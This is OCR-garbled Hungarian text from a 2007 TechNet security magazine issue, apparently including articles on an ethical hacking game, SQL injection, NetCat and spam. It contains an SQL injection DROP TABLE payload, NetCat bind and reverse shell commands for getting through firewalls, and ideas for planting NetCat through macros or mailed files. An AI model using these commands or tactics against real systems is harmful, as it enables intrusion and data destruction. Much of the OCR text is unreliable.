gisztracios adatbézisra és a rendszermappak-
rais. A Vista esetében még a Rendszergazdak-
csoport tagjai sem modosithatjak a rendszer-
eréforrasokat.

Alapértelmezés szerint csak a Windows
Trusted Installer biztonsagi szint (security
principal) jogosult modositdsokra a Windows

Module Installer szolgiltatison keresztiil.

Ezt haszndlja a Windows Installer, a hotfix.
exe és az update.exe is.

Azonban a rendszergazddknak jogukban
all tulajdonukba vennitik a védett rendszer-
eréforrasokat is, és teljes jogot is adhatnak
maguknak, igy modositani vagy tordlni is
képesek lesznek a rendszer szdmara kritikus
allomanyokat.

A WEFP-vel ellentétben a WRP azonban
automatikusan nem 4llitja helyre a védett al-
loményokat egy megbizhaté mentésbol, csak
ujrainditas soran allitja vissza a rendszer in-
duldsahoz sziitkséges allapotot.

Ahhoz, hogy a WRP visszaallitsa az sszes
védett eréforrast (ami hasznos lehet egy hiba-
keresés soran) futtassuk a kovetkezd paran-
csot: sfc /scan now. A védett fajlok eredeti
allapotdnak visszaallitdsihoz sziikség lehet a

Vista telepitslemezére is.

10. Nem is kétiranyd a Vista tizfala?
A Vista tlizfala mar kétiranyu sztirést is képes
végezni, szemben a Windows XP SP2 csak
bejovo szlirést végzd tlzfalaval - de a kétira-
nyu szirés a Vista tlzfalanak haladé konfi-
guracios feliiletérdl érhetd csak el (Windows
Firewall with Advanced Security). A halozat
kezelés Ujrairdsa azonban ennél sokkal tobb
ujdonsagot is jelent a Windows-ttzfal eseté-
ben. Az egységes IPv4- és IPv6-stack révén
a Windows-ttizfal képes mind IPv4-, mind
IPv6-sztirések megvalositasira, valamint az
IPSecszolgaltatas is integralddott, igy a tliz-
fal- és [PSec-szabalyokat egy feliiletrol kezel-
hetjitk. A Vista Service Hardening djdon-
sdganak eredményeképpen pedig az egyes
szolgdltatasok  halézati  kommunikacidja
nemcsak a portok, hanem a szolgiltatas azo-
nositdja révén is szabalyozhato.

A Vista tlizfala alapértelmezetten 82 sza-
ballyal korlatozza 34 szolgaltatas kimend ha-

lozati forgalmit.

Konkluzio
A Windows Vista az eddigi legbiztonsdgo-
sabb megjelent Windows-verzio, amelyet sza-
mos architekturalis véltoztatasnak és az uj,
biztonsagot noveld szolgaltatasoknak kdszon-
het. Ugyanakkor tovdbbra is hihetetlentl
fontos, hogy szakemberként mélységében is
tisztdban legyiink minden uj korlattal és le-

hetdséggel.
Safranka Mdtyds
(matyas@microsoft.com) Microsoft Magyarorszdg

Microsoft TechNet
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Tematikus biztonsdgi lapszdmot tart kezében az olvasé.

Sok kivélé kolléga komoly szakmai elemzéssel éllt neki ennek

a nem egyszer( feladatnak. En azt vélasztottam, hogy egy

kis jatékkal dobom fel ezt a komor témat. Ez a cikk az Ujség

mellékleteként megjelend online ,hackerjaték”, az ordoglakat.info

végigjatszasdnak megkdnnyitésére jott [étre. Minden szava igaz.

ogyan is kezdédhetne a rendszerfeltorések (hackelések) modern kori, valamint elmult

évezredbeli torténelmével foglalkozod iras, mint azzal: mar a régi amerikaiak is. De

mit is csinaltak a régi amerikaiak abban a primitiv korszakban, amikor még nem volt

USB-pendrive és miitholdas helymeghatarozas? Tudjuk, hekkeltek. Errél tantskodnak a ,,hack

archive” kulcsszoval elérhetd dskori leletek, ahol megtekinthetjiik a cia.gov, a spicegirls.com és
g ] g piceg

@ redLine owNz yOu! - Microsoft Internet Explorer |LHE
Fle Edit View Favorites Tools Help ."
= »
Q- ® B ¢ € v
e8] e

HACKED!

Hi Master (: Your System BuwMed By Turkish
Hackers?t

& rudebBy & & The_Bekir &
& ASH owHed you?

next target: microsoft.con

TiTHacK.CoM & SavSaK.CoH

&) Done P nternet

Reszkess, Microsoft, te leszel a kivetkezd dldozat!

Hogyan allapithaté meg egy tavoli géprol, hogy azon milyen webkiszol-
galo fut? A valoban primitiv modszereken feltil (ha a lapok .aspx-re végzdd-
nek, ott .NET Framework, tehat IIS van) léteznek professziondlis, direkt
erre a célra kifejlesztett eszk6zok is. A legismertebb, legelterjedtebb talin az
NMAP, amely a http://www.insecure.org lapon lakik. Most sokan mond-
hatjak, hogy minek nekem portscanner, hisz egy normalisan bedllitott
webkiszolgalon ugyis csak a 80-as, illetve adott esetben a 25-6s port van
nyitva, és kész. Erre azt mondanam: és mi a helyzet a tavfeliigyelettel, az
adatok feltoltésével, esetleg a VPN-nel? Maris 6t nyitott portnal tartunk.
Ezek 6sszessége pedig szinte haldlbiztosan meghatdrozza a futtatott rendszer

tipusat (NMAP esetén kapcsoljuk be az OS Detection flaget.) Viszonylag

sok mas ismert oldal allapotat elétte - és uta-
na. (Hopp4, bocsanat, nem talalok egyet sem,
a cenzura letdroltette ezeket, vagy a keresdk
onként sztirik az ilyen kéréseket. Nem baj, a
jo oreg Owned kulcsszo mindig bejon...)

Mi a kozos ezekben a sikeres tdmadasok-
ban? Az eljards menete minden alkalom-
mal ugyanaz. Informacidszerzéssel kezdodik,
amelyben a lehet6 legtobb mindent megpro-
balunk megéllapitani a kiszemelt aldozatrl.

Webkiszolgald esetén fontos informécio
lehet annak gyartoja és a futd példany pon-
tos verzioszima, emellett természetesen jol

johetnek olyan tipust in-

kevés munkaval megtudhato tehat, hogy az
dltalunk kipécézett webszerver egy Windows
2003 SP1, amelyen egy IIS6 fut. Kar, hogy ez
dnmagaban még semmire sem elég.

Bezzeg a héskorban! En még emlékszem,
amikor a ,nagy szoftvergyarak” a halozatbiz-
tonsagrol azt sem tudtak, mi az.

Ha kideriilt valami biztonsagi probléma a
termékiikkel kapcsolatban, még valaszthat
tak a lapités megoldast, mert akkoriban még
nem léteztek a manapsig elérhetd exploit
keretrendszerek, és nem voltunk tul néhany

erds féregtamadason.

Hadd mutassam meg, mi kényszeritette ki a
szoftverfejlesztok hozzadllasanak drasztikus

megviltozasat. Ime az egyik legjobb exploit

formdciok is, mint péld4ul
a webgazda neve, ad ab-

szurdum: jelszava.

This is the Metasploit
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A termék neve, verzidsza-
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ma altaldban semmilyen se-
gitséget nem ad a feltorek
vé feltorok kezébe, nincs
jol jarhato, kozos ut a fel-
torésekhez. Mindegyikhez
van azonban egyedi ut,
amelyen végigmenni sok-
kal farasztobb ugyan, de
még mindig eredménnyel
kecsegtethet. Els6 lépés:

nézz kortl az aldozatnal,

meg tudod-e allapitani va-

L M

Egy lehetséges ,megoldds

framework, amivel Ovodas Pistike is képes
tavolrol egy jol kivitelezett puffertulesorduls-
sos (buffer overrun) tdmadésra: a Metasploit
Framework, amelyet az Inteltol ellopott szlo-
gennel csak igy reklamoznak: ,Metasploit
inside”!

Ezzel az alkalmazassal egy egyszerti ment-
rendszeren keresztiil kivalaszthatjuk, hogy
melyik gyarté melyik bugos termékével mit
is szeretnénk csinalni tavolrol - példaul keé-
riink szépen egy parancssort!

E két automata feltorési szisztéma (féreg
és framework) picit dtrendezte a biztonsig-
gal kapcsolatos sulyokat a képzeletbeli mérle-
gen. Az a gyartd, amelyik nem foltoz, eldszor
stlyos presztizsveszteséget szenved, majd ha
még mindig nem kap észbe, megdoglik. Ma
mar, az Automatic Update koraban batran
kijelenthetjiik, hogy az informatikai bizton-
sdg fenntartasa legaldbb felerészben nem a
mi feladatunk (és feleldsségiink), hanem a
gyartoké - és ezt szerencsére Ok is tudjik. Ma,
2007-ben akkor lehet egy rendszert feltorni,
ha annak épit6i és tizemeltetdi helyezik el az
idézitett bombdkat a rendszertikben.

Nos, az ordoglakat.info ilyen webhely. El-
kovettiink mindent, amit csak webgazda és
programozé elkévethet annak érdekében,
hogy a végeredmény egy olyan weblap le-
gyen, amelyiknek kicserélték a folapjat (or-
doglakat can be defaced). Fajdalom, de a cikk
irdsanak pillanataban egyetlen valamirevalo
kiaknazhaté biztonsdgi probléma sincs sem
a Windowsban, sem az [IS-ben, sem az SQL
Serverben.

Uzenet a palackban: ,2007-ben a feltdrhe-

t6 webszerverhez On is kell, de nagyon!”

az ordoglakat.infon. Ezt meghekkelték!

lamilyen fontos személy ne-
vét, jelszavat?

Egy loginnév még énmagaban, jelszé nél-
kil is értéket képviselhet. El6fordulhat, hogy

egy weblap olyan programozasi hibat tartal-

L

lat (,ugysem taldljik ki”). Lattunk mar olyat,
hogy egy webhely énmagidban hordozza a sa-
jat jelszavait, hogy kényelmesen delegilni le-
hessen a felsltést valaki mas szamara.

Az informacio elrejtése egyébként dltala-
nos probléma, mivel minden jelszéval védett
izé szinte magnesként vonzza a feltorésére
4csingdzé kéretlen delikvenseket. Hogyan le-
hetne elejét venni annak, hogy egy adatrol
messzird viritson: ,titkos vagyok”, ,értékes
vagyok”? A megoldds az adatrejtés, vagy mas
néven a szteganografia bevetése. Taroljuk a
jelszot, a PEXAajlt és a tobbi titkos dolgot gy,
hogy senki még csak észre se vegye! Agyazzuk
képbe (JPHS for Windows)! Mossuk bele
MP3-fijlba (MP3 Stego)! Rejtsiik el TXT-ben,
EXE-ben! Az igy elddllitott képet/hangot/

barmit pedig tegyiik batran kozszemlére.

Az igazat megvallva, sajnilom szegény
amerikaiakat. Fejiikbe vették, hogy lehallgat-

jak terroristik tzenetkiildé¢-

whStegod 3open

Select Carrier File

Select the carrier file in which you wantto
hide data.

E= seit. Sajnos nincs esélyiik. Ha
én lennék a gonosz, a kovet-
kezdket tenném: az adott na-

pi parancsot belemosnam egy

File Type

Find carierfile ...

] artatlan képbe, és feltenném

egy elére megbeszélt helyre a

weben. Kész.

Help
Seftings
Flowchan - hode

B Adohe Acrobetfile (“POF)

<< Back I Continue >»

Hibds webalkalmazdsok
Tényként kezelhetjiik, hogy

minden szoftver hibds. Még

az is, amit én fejlesztek.

TXT-be és PDF-he tetszéleges adatot belerejté csodaprogram

maz, ami tovabbi informaciok megszerzését
teszi lehetdvé. A jelszavak, kodok pedig sok-
szor igen bandlisak. Csak egy példat hadd
mondjak: ha valaki tudja, hogy én

Biztos vagyok benne, hogy hi-
bés, csak az a bokkend, hogy
nem tudom, hol rejtdzik a hiba. (Ha tudnam,
kijavitanam.) Egynémely webalkalmazas any-

nyira hibas, hogy az mar szinte f4j.

milyen utcdban lakom, az el tudja

lopni a biciklimet, ki tudja nyitni a Bbout

m JPHS for Windows - Freeware version BETA test rev 0.5
Exit  Openjpeg

==

Hide ~ Seek  Savejpeg  Savejpegas  Passphrase  Options — Help

szdmzdras Kensington Lockomat, és
elviheti a laptopomat. (Most, hogy
elarultam, mdr konnyit)) Honnan Filesize
lehet megtudni a webgazda login-

nevét! A srac biztos biiszke ma-
Directory

gira, az Osszes weblapra kirakja. Filensme
. 4, . Fil
Ha ezt megtiltottdk neki, akkor b
HTML-kommentbe teszi.
Directory
Fontos informaciéforras lehet Filename
Filesize

egy-egy fajl, vagy komplett konyv-

tar, amit a webgazda kényelmi

Directory  C:\Users{PubliciPictures\Sample Pictures
Filename DesertLandscape jpg

224 Kb
Approximate max capacity | 34 Kk recommenced limit

This jpeaq file has not been modified

Input jpeg file

‘Width 1024 pixels

Height 768 pixels
21 Kb

Hidden file

Kb

Saved jpeg file

Kb

okokbol felpakol a webre (,,ugysem

taldlnak ra”), esetleg jelszéval is el-

A Windows egyik gyari httérképébe akar 34 kilobdjtnyi adat is
belemoshaté észrevétlenil!
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Két évvel ezel6tt alkalmam volt részt venni
egy hackerkonferencian, ahol kiilon el6adast
szenteltek az URL-hackingnek. Ez nem mis,
mint a HTTP URL atirkdlasa. Dobbenet, de
ez nagyon sok webhelyen még mindig bejon!
Olcsobban szeretnél szert tenni egy plazma-
tévére! Rendeld meg, majd az URL-ben ird
atazdrat 1 Fera, és tiss <Enter>-t. Hihetetlen,
de igaz! (Volt.)

Vegytink egy komplikaltabb esetet! Ma-
napsig minden webalkalmazis adatbazisra
épit, abban tarolja a tartalom jelentds részét.
Hogyan keriil ki a tartalom a weblapra? Ugy,
hogy a PHP, ASP, ASPX vagy egyéb kod kibo-
csat magdbol egy SQL-utasitdst, ami szépen
lekérdezi a megfeleld adatokat az adatbazis-
bol. A zokkenémentes mitkodéshez nyilvan
Selectjogot adunk anonymousnak (ez mas-
képp tényleg nem megy), és ha mar itt tar-
tunk, irdsi jogot is, mert majd rendelni is fog.
Adjunk neki full controllt, akkor sosem lesz
jogosultsagprobléma!

Legyen egy product.aspx nev(i weblapunk,
amelyik egyszerre egy terméket jelenit meg.
Ezt a lapot URL-b6l lehet paraméterezni,
mivel igy biztosithato, hogy minden termé-
kiinkre kozvetlen link mutat, amit a keresk
jol leindexelnek, boldog t6le mindenki. Ha
példaul a plazmatévét szeretném elérni, vala-

mi ilyesmi lenne az URL:
product.aspx?prod=plazma

Szofisztikaltabb esetben (hogy ne lehessen
az URL sima atirkaldsaval masik termékekre

rabloffolni):

product.aspx?id=51E2822E-BD2E-40B7-963A-
64991625(4D2

Es ez imméron szekur. Vagy legalabbis
elsé rdnézésre annak tiinik. Csakhogy emo-
gott ott a kod, a bugos kod:

SqlDataSourcel.SelectCommand +=
string.Format(,, where id=1{0}", Request[,1D"]);

Mert hit hogyan lehetne masképp ra-
venni egy varazslo dltal készitett asp.net
SQLDataSource-t, hogy ne az &sszes termé-
ket hozza le, csak azt, amit az URL-ben kér-
tek? Latjuk mar a hibat?

Még nem? Akkor lassuk kozelebbrol.

A vardzslo ezt vardzsolja az ASPX-lapba,
ha Visual Studisval egy SQL-téblat berantok
balrol, és elejtem a ,papir” kozepén (részlet

kovetkezik):

<asp:SqlDataSource ID="SqlDataSourcel”
runat="server”

SelectCommand="SELECT [ProductD], [ProductName]
FROM [Products]/>

A Select utasitasbol latszik, hogy ez bi-
zony az Osszes terméket lehozza, akar tet
szik, akar nem. A megoldas egyszert: irjunk
mogé egy Where feltételt kodbol, és a prob-
léma megoldodik (lasd feljebb). Csakhogy
ezzel az ,lgyes” huzassal kinyitottuk a rém-
ségek kicsiny boltjat: utat nyitottunk az SQL
Injection tamadasnak! Milyen SQL-kod jon
létre, ha az URL-be az alabbi sort irom?

product.aspx?id= 46; DROP TABLE Products
Hopp-hopp! Az eredmény:

SELECT [ProductD], [ProductName]
FROM [Products] where id=46; DROP TABLE Products

Es a végén csodalkozunk, hogy tres az aru-
haz. Mi a szosz! Minden elkelt? =)

Az SQL Injection alattomos. Latszolag sem-
milyen hibat nem kovetttink el, de mégis.

A legrosszabb most jon: a webalkalma-
z4s egy, azaz egy felhasznaloval hasznalja az
adatbdzist. Mindig-mindig ugyanaz a ,sze-
mély” dolgozik a tébldkon, térolt eljirasokon.
Ennek a ,személynek” mindig-mindig joga
van és lesz minden olyan tarolt eljarast meg-
hivasara, ami a weblap kezeléséhez sziikséges.
SELECT, INSERT, UPDATE, DELETE joga
mindenképpen van, noha csak kozvetetten, a
megfeleld tarolt eljarasok meghivasdval. Ha
azonban bennefelejtiink a kodban egyetlen-
egy tablaszint(i, kézzel sszeftizott SELECT-
et (mentség: a varazslo csindlta, nem én!),
abban a pillanatban a ,személy” kozvetlentl
is meg tudja hivni a tarolt eljarasokat, szaba-
don megadva a bemeneti paramétercket! Igy
valik ,jogosultta” mas személyek adatainak
elolvasisara!
gyarilag
SELECT joga van az osszes rendszertablan.

Folytassam? A, személynek”
Mennyi erdfeszitésébe telik feltérképezni az

adatbdzis teljes szerkezetét?

»Hibds” szabvanyok

Kulon kategoriat képviselnek azok a bizton-
sagi problémdik, amelyek abbol fakadnak,
hogy amikor az adott technolégia kialakult,
az ninformatikai biztonsig” kifejezés még
nem létezett. Ezekre a szabvanyokra aztin

hidba ¢épitiink barmit, a rendszerek alap-

jai gyengék. A legszebb példa minderre a
Man-in-the-Middle (MiM) tamaddscsalad.
Emléksziink még az Elender-tigyfelek nevei-
nek és jelszavainak ellopdsara? Na ahhoz
nem kellett MiM. Elég volt, hogy a jelszolopo
sracok szervere ugyanazon a HUB-on légott,
mint az Elender kozponti gépe. (Fiatalok,
rejtvény: mi az a HUB?)

Ma ugyanezt, ugyanigy méar nem lehet-
ne megcsinalni, mivel HUB-ot ma mar sze-
rintem nem is lehet kapni: minden halézat
switchelt; minden gép csak a sajat adatait
kapja meg a switch-tdl - no meg a broadcasto-
kat. Itt jon képbe a MiM, annak technik4ja,
hogy egy ilyen hialézaton én mint hacker be-
alljak a kommunikalo felek koz¢, és minden
forgalmat tigyesen atvizsgaljak. Szomoru hi-
rem van: a dolog nemhogy lehetetlen, hanem
az ARP-szabvany korai volta miatt elkertilhe-
tetlen. Kain&Abel ezt olyan magas szinten
muveli, hogy példaul az atmend VolP-hiviso-
kat WAV fajlba menti ,archivalas céljabol”.
A kedvencem mégis a WebSpy. Ez a minim4-
lis méret(i programocska arra vald, hogy én, a
hacker, el6bb ldssam meg az dldozat 4ltal kért
weblapokat, mint & maga, hisz rajtam keresz-
til zajlik az egész forgalom. Csak beékelodom
a két fél kozé mondjuk Ettecap segitségével,
elinditom a WebSpy-t, hatradslok, és nézem a
musort, ami abbol all, amit a kiszemelt célsze-
mély (vezérigazgatd) éppen nézeget a weben.
Atmené XLS lementése a halozati forgalom-
bol? Semmi gond, van ra ,termék”: SMB File
Sniffer a neve. A MicroOLAP cég készitette,
gondolom hobbibol, mert a 6 tevékenységiik
az adatbanydszat. Bar, bizonyos szempontbdl
ez is ,adatbdnyaszatnak” min&sil.

A ,hibas” szabvanyok kozé sorolhaté még a
DNS is, amivel szintén borzasztd egyszer(ien

eltérithetd a halézati forgalom. Gondoljunk

Orddglakat.info

cellf

Ethical hacking jdték

Microsoft TechNet
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csak a helyi gép HOSTS-4jljanak dtirkdala-
sara. (Apropé HOSTS. Azt tudtik, hogy
ezzel a modszerrel a *microsoft.com zonat
nem lehet eltériteni? Erdemes kiprobalni:
12.34.56.78 www.microsoft.com - és mégis

megy! Billy kodbol védi snmagat!)

Ordoglakat.info

Es most néhany szot szeretnék szolni a Mic-
rosoft Magyarorszdg felkérésére a TechNet
Magazin jelen szdméahoz készitett, ordogla-
kat.info cimen elérheto jatékrol. Ezt a webal-
kalmazast kifejezetten abbol a célbdl hoztuk
létre, hogy a biztonsiag néhiny fontos aspek-
tusat egy webes jaték keretében megismertes-
stik az olvasokkal. Egyben jo elofelkésziilés-
ként szolgal a NetAcademia hivatalos Ethical
hacker tanfolyaméhoz és az ehhez tartozd
nemzetkozi vizsgdhoz is.

A webhely azzal a céllal késziilt, hogy vé-
gigvezessen néhany tipikus biztonségi prob-
lémdn. A feladatok tulnyomo tobbsége szi-
mulacio, azaz igazi rendszerfeltorést nem tesz
lehetévé. A legutolsd néhany feladat azon-
ban mas: éles SQL Injection, éles Cross Site
Scripting és éles ,tdvmenedzsment” teszi kel-
lemesebbé a jatékosok unalmas ordit — mar
aki eljut iddig. Az élesben miikoédo feladato-
kat piros felkialtojel jelzi a mentiben.

(Mivel most tobb ezer furfangos informa-
tikus fog nekiesni, én nem merek garancidt
vdllalni arra, hogy egydltaldn nincs benne dl-
talunk nem ismert biztonsdgi vés. Ex ugyanis
titkozne azzal az elvvel, hogy minden sxofter
garantdltan bugos. [gérem, hogy ha menet kiz-
ben — szdndékunk ellenére — felboritja valaki,
nem fogjuk eltussolni az tigyet, hanem megoszt-
juk a jatékosokkal a probléma okdt. Remélem,
nulldndl nem sokkal t5bb ilyen probléma deril
ki menet kézben.)

Maga a webhely szdndéka szerint énma-
gyarizo, a feladatok megolddsihoz ez a cikk
ad szakmai tanacsokat, valamint tovabbi
stgisok (hintek) kérhetdk menet kozben.
Minden segitségkérés biintetéponttal jar. A
weblapok jobb also sarkaban lathato, hogy
mennyi egészségpontja van még a jatékos-
nak. A jiték egyre nehezed6 feladatokbol all,
a legutolso palydn a sikeres jatékos névre sz6-
16 ,diplomat” készithet maganak.

Sok sikert, kellemes idétoltést kivanok!

Féti Marcell
Security MVP, MCT, MCSE, MCDBA, MZ/X
(marcellf@netacademia.net)

NOVEMBER-DECEMBER

SVAICI BICSKA

Avagy miért tekinti sok viruskeresé kartékony
kédnak a NetCat nevd programot, ezt
a nyUlfarknyi portatiranyité késziléket?
Mi kéze ehhez a biztonsdg negyedik

alaptérvényének?

TCP port fogalma nyilvan minden kedves olvasé elétt ismerds: ez az a szolgaltatasi

végpont, amelyhez az tigyfélprogramok (bongészd, POP3-levelezd stb.) csatlakoznak a

kiszolgalon, hogy hozzaférhessenek a szamukra sziikséges adatokhoz. A TCP-csatorna
forgalma gyakran széveges formatumu, mert ez a technoldgia evoltcios modon valtotta ki az
RS232-es soros porti kommunikaciot, amikor a 80-as években az 8sszes dumb terminalt kiha-
jitottuk a harmadik emeleti ablakon, és bekébeleztiik épiileteinket Ethernettel.

Sok-sok mai létfontossdgu szolgaltatds még mindig ,meghajthatd” Telnet-tigyféllel, gondol-
junk csak az SMTP-re: vidaman lehet leveleket kiildozgetni a vilagba, ha az ember ismeri az
SMTP parancskészletét. De még egy webszervert is sikeresen nyaggathatunk, ha Telnettel ta-
volrél rakapesolddunk a 80-as portjara, és begépeljiik neki ezt a két sort:

get/ http/1.1
host www.mittudomen.com

Ha valaki védeni szeretné a hilozatat mas ,felhaszndlok” agyament csatlakozési kisérleteitol,
nem kell mést tennie, mint a t{izfaldn szépen becsukogatni (ki sem nyitni) a nemkivanatos por-
tokat. Ma madr a vallalati és otthoni ttizfalak tigy vannak beéllitva, hogy befelé mindéssze egy-
két port nyitott, és azok is konkrét belsé cimekre dobaljak a beérkezé csomagokat. Ezt nevez-
ziik port forwardingnak. Az 1. dbra egy tipikus, olcso6 otthoni ,t{izfal” (valdjaban WAN Router)
portatiranyitasi bedllitasit tartalmazza.

Mi a helyzet a hélozatbol kifelé iranyuls
kérésekkel? Ezt kétféleképpen szoktik szaba-

Port Forwarding

Entries in this table allow you to rk services to a specific
‘machine behind the NAT firewall. These settings arc only necessary if you wish to host some sort of
server like aweb server or mail server on the private local network behind your Gateway's NAT

lyozni: sehogy (minden mehet mindenhova), =
vagy szigordan (csak HTTP és HTTPS mehet
ki a kiilvilagba az tigyfélgépekrdl). Amint lat-

Enable Port Forwarding

IP Address: Protocol: BOIN ¥ Port Range:

juk, a portok kezelése megoldott, kintrsl be-

felé nem johet mas, csak aminek mi magunk
Current Port Forwarding Table:

192.168.1.100 TCP 413 [

1. abra. Minden HTTPS-kérést a 192.168.1.100 cimre
tovabbit ez a szabdly

nyitottunk kaput, bentrél kifelé meg ugysem

lehet minket megtdmadni.

Micsoda tévedés!

Portdtirdnyitds a gyakorlatban

A portitirdnyitds egy teljesen legdlis, sok-
szor életmentd muvelet, amelyik arra szolgdl, hogy ha egy tigyfélprogram mondjuk az 1433-as
portra szokott csatlakozni, de a kiszolgalé egy masik porton fut, a két komponens egymasra

taldljon. Felmertilhet a kérdés, hogy miért nem futtatjuk a kiszolgdlot is az 1433-as porton,
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és keész! Példaul azért, mert az mar foglalt:
ugyanebbdl a kiszolgalobol fut mar egy pél-
dény azon a porton, de nekiink nem ez a pél-
dény fog kelleni.

Talan sokan felismerték: az 1433-as az
SQL Server, egészen pontosan a ,Default
Instance” nevii példany portszdima. Ha egy
kiszolgalon egynél tobb SQL Server-példany
fut (mondjuk még egy SQL Express is, hogy
csak valami teljesen hétkdznapi esetet hozzak
példaként), a tobbi példany nem futhat mar
az 1433-ason, mert az foglalt.

Hogyan talaljak meg ezek utdn az tigyfél-
programok a tovabbi példanyokat? Ugy, hogy
UDPn ,betelefondlnak” az 1434-es porton
futd portatirdnyitohoz, amelyik megmondja
nekik, hogy aktualisan melyik porton fut a
tobbi SQL Server, és a vélasz alapjin portot
viltanak. (Az 1434-es port egyébként masrol
is hires: Slammer!)

Tovabbi legalis és szitkséges portatiranyi-
tasokat is felhozhatnék példaként, itt van
mindjart a NetBIOS Endpoint Mapper
(epmap) a 135-6s porton, illetve hozhatnék
példat arra is, hogy valami nem a megszokott
portszamon fut (kipublikalt Terminal Server
a 3389 helyett egy masik porton), hogy bels-

suk, nincs ebben semmi rossz.

NetCat in action

Elérkeztiink a NetCat vildgahoz. Ezt a prog-
ramocskat azért fejlesztette ki egy Hobbit
nevli programozé a mult évezredben, hogy
altalanos megoldast adjon a kiilonbozé por-
tok kozotti kapcsolatteremtésre. Ami bejon
a 3390-es portra, atdobjuk a 3389-esre stb.
Erre ugy képes, hogy ha egy tigyfélprogram
mondjuk az 555-6s portra akar kapcsolédni,
a NetCat az aldbbi paranccsal racsatlakozik

az 555-6sre, majd tovabbitja azt a 666-osra:

BB C\Windows\system32iemd.exe - nc -L -p 23 -e cmd.exe

2. dbra. Telnet-, szerver”

nc-l-p 555 | nclocalhost 666

A parancsot eldszeretettel hasznaljik tiiz-
falon atlépésre (80->3389), illetve LPR nyom-
tatasi feladatokhoz.

Készitsiink egyszeri
Telnet-kiszolgalot NetCattel!

Mi sem egyszeribb! Hallgassunk a Telnet
porton, és ami ott bejon, kiildjitk bele a cmd.
exe-be (2. dbra).

Probaljunk racsatlakozni egy mésik géprol
(masik ablakbol) (3. dbra).

En a kisérletet egy gépen hajtottam végre,
de természetesen a dolog mtikédik nagyon-
nagyon tivolra is. Amit a kliensen begépelek,
a szerveren fut le, majd a valasz a kliens abla-
kéban megjelenik.

Mikodne ez mondjuk a 443-as (HTTPS)
porton is! Persze, a NetCatnek édes mindegy
a portszam.

De hol fenyeget ez minket! Mi ebben a
veszélyes! Hiszen ahhoz, hogy barki tavme-
nedzselje a géptinket, el6szor is oda kellene
masolnia a NetCatet, majd el kellene indi-
tania -1 kapcsoloval s6t még a tiizfalunkon
is létre kellene hoznia egy publikaldsi sza-
balyt. Amennyiben olyan buta lenne, hogy a
TCP-csatornat ,normalis” iranyban hasznal-
ja. Merthogy a NetCattel ez forditott irany-
ban is megy!

Mire gondolok?

1. Nyissunk portot egy dltalunk tizemel-
tetett, interneten lévd gépen, mondjuk,
a 443-as porton, és kezdjiink hallgatozni
NetCattel:

nc-L-p 443

2. Inditsuk el a belso, ttzfallal védett gé-
pen a NetCatet igy:

nc locathost 443 -e cmd.exe

Hoppa! Ez sikeriilt! Kaptam odakint egy
command promptot a belsé gépre! Pedig a kap-
csolat bentrol kifelé éptlt fel, amit még a legszi-

gorubb tiizfalak is engedélyeznek. (Megjegyzés:

& C\Windows\system32\cmd.exe - nc localhost 23

3. dbra. Telnet-, kliens”

azért nem a 80-as portot védlasztottam, mert
abba a HTTP proxyk belekotyognak, elront
jak. Az SSL-nek ting 443-as porti forgalomba
azonban nem. Az ISA Server egyiltalan nem.
Tudom, Zorp, de azt is tudom, hogyan kell azt
is atverni: SSL handshake kell neki!)

Peeersze, aztan hogy keriil a bels6 gépre a
NetCat? Es ki inditotta el?

A biztonsdg negyedik alaptorvénye

A tiz pontbol allo torvénytabla itt olvashato

eredetiben:

http://www.microsoft.com/technet/
archive/community/columns/security/
essays/10imlaws.mspx/mfr=true

Ennek negyedik szabalya az aldbbi furcsa
megallapitast teszi: ,Ha megengeded egy rossz-
akaronak, hogy programot toltsén fel a web-
helyedre, az nem a te webszervered tobbe¢.”

Ki hallott mér olyat, hogy futtathato ko-
dot engednek feltolteni, majd futtatni web-
szervereken? En. Ugy hivjik, CGl-programo-
zas. A programozé megirja a CGl-alkalma-
zast, feltolti FTP-vel, ami majd a tévoli gépen
fog futni. Elég, ha a megfelel6 URL-t meghi-
vom kiviilrél, és maris enyém a géped.

,-..az nem a te webszervered tobbé.”

Szerencsére ez a ,jelenség” kihaloban van,
I1S6 alatt kifejezetten kézzel be kell regisztral-
ni minden .exe-t Web Service Extensionként,
ezért érdemes elgondolkozni mas futtatasi
modszereken:
= Raveszem a webgazdat, hogy inditsa el ne-

kem, ugy, hogy beigyazom egy fontosnak
tand XLS-be makroként a NetCat letoleé-
sét, elinditdsat a megfeleld paraméterek-
kel. Kiprobaltam, ha az Excel-tabla tartal-
ma fizetéssel vagy addzassal kapcsolatos,
minden ismeretlen makrét gondolkodds
nélkil elindit mindenki!

* Ha nagyon lyukas a rendszere, egy sima
Cross Site Scripting is megteszi.

= Bekiildom a vallalathoz Mariska néninek,
becsomagolva valami ,szépbe”. Mar ha
exe-k bejutnak...

* Hazakiildosm Mariska néninek az otthoni
cimére, ott mindenképpen megkapja, és
majd az & VPN-kapcsolatin megyek to-
vabb.

= Stb.

Ilyen a vilag.

Féti Marcell
Security MVP, MCT, MCSE, MCDBA, MZ/X
(marcellf@netacademia.ne)
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EGY KIS
SPAMLELEKTAN

Ahhoz, hogy megértsik, miért is olyan nehéz harcolnunk

a spam ellen, a legcélszerGbb, ha nekiéllunk e-mailt boncolni.

Méghozzd sziletés kozben, illetve megérkezés utdn is.

em, most nem levelezdkliensbol allitjuk el a levelet. Inkabb gyartunk egy levelezd-

klienst. Inditsunk el egy command promptot. (Haladobbak puttyolhatnak is.) Mielétt

elkezdenénk gépelgetni, jelzem, hogy a kovetkezd parancsok nem mindig hozzak meg
a ,megfelels” végeredményt. Ahhoz ugyanis, hogy az eljaras mikodjon, a megcélzott levelezd-
szervernek ‘open relay’ médban kell mtkodnie.

e C:\WINDOWS\system32\cmd.exe

220 clackl.ankh.morpor ESMTP MAIL Serwvice, Version: 6.0.3790.1830 ready at We
007 21:20: 20 +|}2|]D
lhelo Geza
250 clackl.ankh.morpork Hello [192 168.201.101]
i1 from: postmaster@ankh.morpork

250 2.1.0 postmaster@ankh.morpork. .
cpt_to: rablo39@miTkyway.universe
250 2.1.5 rable39@mil y.universe
ldata
354 Start mail input; end with <CRLF>.<CRLF>

om: Oszents XVI Benedek romia papa

ubject: E]et:g-enagy lehetosege

edves Baratom!!!!

eghizhato forrasbol tudom, hogy labgomba ellen legjobb a PamPam Tabkoromlakk.
Szivelyes udvozlettel,
MVI Benedek

.Sender OK

iSQ 2.6.0 <CLACK1T3zF1ibxHvfa300000001@c]ackl.ankh.morporks Queued mail for delivery

guit ;
221 2.0.0 clackl.ankh.morpork Service closing transmission channel

onnection to host lost.

:\Documents and Settings‘Administrators

1. dbra. Egy levél elkiildésének lenyomata SMTP-parancsokban

